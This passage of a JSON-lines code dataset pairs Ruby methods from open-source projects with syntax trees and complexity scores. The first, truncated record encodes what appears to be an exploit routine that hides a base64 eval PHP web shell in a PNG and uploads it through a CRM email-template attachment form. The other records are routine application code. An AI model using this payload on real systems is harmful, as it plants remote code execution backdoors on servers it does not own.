ivasgn\",\"children\":[\"@get_param\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php @eval(base64_decode($_POST['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]}]},{\"type\":\"str\",\"children\":[\"']));?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?=$_GET['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@get_param\"]}]},{\"type\":\"str\",\"children\":[\"'](base64_decode($_POST['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]}]},{\"type\":\"str\",\"children\":[\"']));?>\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"png_webshell\",{\"type\":\"send\",\"children\":[null,\"inject_php_payload_png\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"injection_method\"]},{\"type\":\"str\",\"children\":[\"PLTE\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"png_webshell\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"form_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"AttachFiles\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"action\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"EmailTemplates\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"module\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"png_webshell\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"image/png\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phpsessid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"blank?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"td[contains(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\")]\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"eb3bfa7d-4e3e-4e85-aadd-69bc16c9143c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/markdown_output.rb","start_line":12,"raw_source":"def test_reported_warnings\n    assert_equal 175, @@report.lines.to_a.count, \"Did you add vulnerabilities to the Rails 2 app? Update this test please!\"\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reported_warnings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[175]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@report\"]},\"lines\"]},\"to_a\"]},\"count\"]},{\"type\":\"str\",\"children\":[\"Did you add vulnerabilities to the Rails 2 app? Update this test please!\"]}]}]}","id":"6c600e46-4478-44ea-b1fe-b4b40a69015a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/reviewable_ai_post.rb","start_line":163,"raw_source":"def post\n    @post ||= (target || Post.with_deleted.find_by(id: target_id))\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"with_deleted\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"target_id\"]}]}]}]}]}]}]}]}","id":"b09d86c8-1ac8-4446-9690-c6a44975d1af"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/interface.rb","start_line":190,"raw_source":"def not_implemented(method_name)\n      require_relative 'ui'\n      UI.user_error!(\"Current UI '#{self}' doesn't support method '#{method_name}'\")\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"not_implemented\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"ui\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Current UI '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"' doesn't support method '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"cc68d3c9-fb27-4d34-a52c-64616a36c25a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/environment.rb","start_line":168,"raw_source":"def self.ci?\n      ENV.fetch(\"CI\", nil) == \"true\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ci?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"CI\"]},{\"type\":\"nil\",\"children\":[]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}","id":"4b19f24d-6a53-4bc9-a3a2-47c09730a051"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/service_desk_handler.rb","start_line":109,"raw_source":"def create_issue_or_note\n          if reply_email?\n            create_note_from_reply_email\n          else\n            create_issue!\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue_or_note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reply_email?\"]},{\"type\":\"send\",\"children\":[null,\"create_note_from_reply_email\"]},{\"type\":\"send\",\"children\":[null,\"create_issue!\"]}]}]}","id":"78a492ea-4e65-4ccf-9b7b-2e55d8f9957d"}
{"repo_name":"wisper","file_path":"./repos/wisper/lib/wisper/registration/registration.rb","start_line":7,"raw_source":"def initialize(listener, **options)\n      @listener = listener\n      @on = ValueObjects::Events.new options[:on]\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"listener\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@listener\",{\"type\":\"lvar\",\"children\":[\"listener\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ValueObjects\"]},\"Events\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"on\"]}]}]}]}]}]}","id":"c75def7d-b963-4701-b708-a38e2da64718"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":1368,"raw_source":"def import_topic_users\n    puts \"\", \"Importing topic users...\"\n\n    topic_users = query(<<~SQL)\n      SELECT *\n        FROM topic_users\n       ORDER BY user_id, topic_id\n    SQL\n\n    existing_topics = TopicUser.pluck(:topic_id).to_set\n\n    create_topic_users(topic_users) do |row|\n      user_id = user_id_from_imported_id(row[\"user_id\"])\n      topic_id = topic_id_from_imported_id(row[\"topic_id\"])\n      next unless user_id && topic_id\n      next if existing_topics.include?(topic_id)\n\n      {\n        user_id: user_id,\n        topic_id: topic_id,\n        last_read_post_number: row[\"last_read_post_number\"],\n        last_visited_at: to_datetime(row[\"last_visited_at\"]),\n        first_visited_at: to_datetime(row[\"first_visited_at\"]),\n        notification_level: row[\"notification_level\"],\n        notifications_changed_at: to_datetime(row[\"notifications_changed_at\"]),\n        notifications_reason_id:\n          row[\"notifications_reason_id\"] || TopicUser.notification_reasons[:user_changed],\n        total_msecs_viewed: row[\"total_msecs_viewed\"] || 0,\n      }\n    end\n\n    topic_users.close\n  end","complexity_score":39.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topic_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing topic users...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_users\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT *\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM topic_users\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY user_id, topic_id\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_topic_users\",{\"type\":\"lvar\",\"children\":[\"topic_users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[null,\"topic_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_topics\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_read_post_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_visited_at\"]},{\"type\":\"send\",\"children\":[null,\"to_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_visited_at\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_visited_at\"]},{\"type\":\"send\",\"children\":[null,\"to_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"first_visited_at\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notification_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifications_changed_at\"]},{\"type\":\"send\",\"children\":[null,\"to_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notifications_changed_at\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifications_reason_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notifications_reason_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_changed\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_msecs_viewed\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"total_msecs_viewed\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_users\"]},\"close\"]}]}]}","id":"c3b2a24a-c4cd-4ba3-a396-c6a17daa4a7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240419102832_update_unique_index_on_member_approvals.rb","start_line":10,"raw_source":"def up\n    remove_concurrent_index_by_name :member_approvals, OLD_INDEX_NAME\n\n    add_concurrent_index :member_approvals, [:user_id, :member_namespace_id, :new_access_level, :member_role_id],\n      unique: true, where: \"status = 0\", name: NEW_INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"member_approvals\"]},{\"type\":\"const\",\"children\":[null,\"OLD_INDEX_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"member_approvals\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"member_namespace_id\"]},{\"type\":\"sym\",\"children\":[\"new_access_level\"]},{\"type\":\"sym\",\"children\":[\"member_role_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"status = 0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]}]}]}","id":"0896bc64-9139-446c-af8a-905a9ac66eac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/prompts/remove_feature_flags.rb","start_line":256,"raw_source":"def prompt_vue(feature_flag, file, flag_enabled)\n        camel_case_flag = feature_flag.name.camelize(:lower)\n\n        <<~MARKDOWN\n          #{prompt_shared(feature_flag, file, flag_enabled)}\n\n          ## Vue.js Feature Flag Removal Guidelines:\n\n          The feature flag is accessed in Vue components through `this.glFeatures.#{camel_case_flag}` after adding the feature flag mixin `glFeatureFlagMixin()`.\n\n          #{prompt_markdown_flag_enabled_disabled_mode(flag_enabled)}\n\n          ### Common Vue.js Patterns to Handle:\n\n          #{flag_enabled ? prompt_vue_flag_enabled_examples(camel_case_flag) : prompt_vue_flag_disabled_examples(camel_case_flag)}\n\n          ### CRITICAL: Feature Flag Mixin Cleanup Instructions\n\n          **Step 1**: After removing all references to `glFeatures.#{camel_case_flag}`, search the ENTIRE file for any remaining uses of `this.glFeatures.` or `glFeatures.`\n\n          **Step 2**: Count the remaining feature flag references:\n          - If you find ANY other `this.glFeatures.` or `glFeatures.` references → KEEP the mixin completely unchanged\n          - If you find ZERO other `this.glFeatures.` or `glFeatures.` references → Remove the mixin\n\n          **Step 3**: If removing the mixin (only when NO other feature flags exist):\n          - Remove the mixin import statement (e.g., `import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';`)\n          - Remove the mixin registration (e.g., `mixins: [glFeatureFlagMixin()]` or from a mixins array)\n\n          **IMPORTANT WARNINGS**:\n          - NEVER change the syntax of remaining feature flags from `this.glFeatures.otherFlag` to anything else\n          - NEVER replace `this.glFeatures.` with `$options.features.` or any other syntax\n          - NEVER modify feature flags other than `#{camel_case_flag}`\n          - NEVER add optional chaining to feature flag mixin `this.glFeatures?.flagName` or `glFeatures?.flagName`.\n          - If in doubt, keep the mixin - it's safer to leave it than to break other feature flags\n\n          If there are no changes needed to the file, return it unchanged.\n        MARKDOWN\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prompt_vue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]},{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"flag_enabled\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"camel_case_flag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"name\"]},\"camelize\",{\"type\":\"sym\",\"children\":[\"lower\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt_shared\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"flag_enabled\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"## Vue.js Feature Flag Removal Guidelines:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"The feature flag is accessed in Vue components through `this.glFeatures.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_case_flag\"]}]},{\"type\":\"str\",\"children\":[\"` after adding the feature flag mixin `glFeatureFlagMixin()`.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt_markdown_flag_enabled_disabled_mode\",{\"type\":\"lvar\",\"children\":[\"flag_enabled\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Common Vue.js Patterns to Handle:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag_enabled\"]},{\"type\":\"send\",\"children\":[null,\"prompt_vue_flag_enabled_examples\",{\"type\":\"lvar\",\"children\":[\"camel_case_flag\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_vue_flag_disabled_examples\",{\"type\":\"lvar\",\"children\":[\"camel_case_flag\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### CRITICAL: Feature Flag Mixin Cleanup Instructions\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Step 1**: After removing all references to `glFeatures.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_case_flag\"]}]},{\"type\":\"str\",\"children\":[\"`, search the ENTIRE file for any remaining uses of `this.glFeatures.` or `glFeatures.`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Step 2**: Count the remaining feature flag references:\\n\"]},{\"type\":\"str\",\"children\":[\"- If you find ANY other `this.glFeatures.` or `glFeatures.` references → KEEP the mixin completely unchanged\\n\"]},{\"type\":\"str\",\"children\":[\"- If you find ZERO other `this.glFeatures.` or `glFeatures.` references → Remove the mixin\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Step 3**: If removing the mixin (only when NO other feature flags exist):\\n\"]},{\"type\":\"str\",\"children\":[\"- Remove the mixin import statement (e.g., `import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';`)\\n\"]},{\"type\":\"str\",\"children\":[\"- Remove the mixin registration (e.g., `mixins: [glFeatureFlagMixin()]` or from a mixins array)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**IMPORTANT WARNINGS**:\\n\"]},{\"type\":\"str\",\"children\":[\"- NEVER change the syntax of remaining feature flags from `this.glFeatures.otherFlag` to anything else\\n\"]},{\"type\":\"str\",\"children\":[\"- NEVER replace `this.glFeatures.` with `$options.features.` or any other syntax\\n\"]},{\"type\":\"str\",\"children\":[\"- NEVER modify feature flags other than `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_case_flag\"]}]},{\"type\":\"str\",\"children\":[\"`\\n\"]},{\"type\":\"str\",\"children\":[\"- NEVER add optional chaining to feature flag mixin `this.glFeatures?.flagName` or `glFeatures?.flagName`.\\n\"]},{\"type\":\"str\",\"children\":[\"- If in doubt, keep the mixin - it's safer to leave it than to break other feature flags\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"If there are no changes needed to the file, return it unchanged.\\n\"]}]}]}]}","id":"7eeb50f0-011d-4df2-8513-73b6de4dcc65"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/digital.rb","start_line":43,"raw_source":"def create_digital_links\n        digital_line_items.includes(variant: :digitals).each do |line_item|\n          line_item.variant.digitals.each do |digital|\n            line_item.digital_links.create!(digital: digital)\n          end\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_digital_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"digital_line_items\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"sym\",\"children\":[\"digitals\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_item\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]},\"variant\"]},\"digitals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"digital\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]},\"digital_links\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digital\"]},{\"type\":\"lvar\",\"children\":[\"digital\"]}]}]}]}]}]}]}","id":"c561c5b7-5e1e-4b4c-a952-49550d9f2643"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/principal_filter.rb","start_line":60,"raw_source":"def member_statement(used_operator_strategy)\n    Member\n      .of_any_project\n      .where(used_operator_strategy.sql_for_field(values, \"members\", \"user_id\"))\n      .select(:project_id)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"member_statement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"used_operator_strategy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"of_any_project\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"used_operator_strategy\"]},\"sql_for_field\",{\"type\":\"send\",\"children\":[null,\"values\"]},{\"type\":\"str\",\"children\":[\"members\"]},{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}","id":"407fdc71-5aff-43df-99c3-adfcbb61096a"}
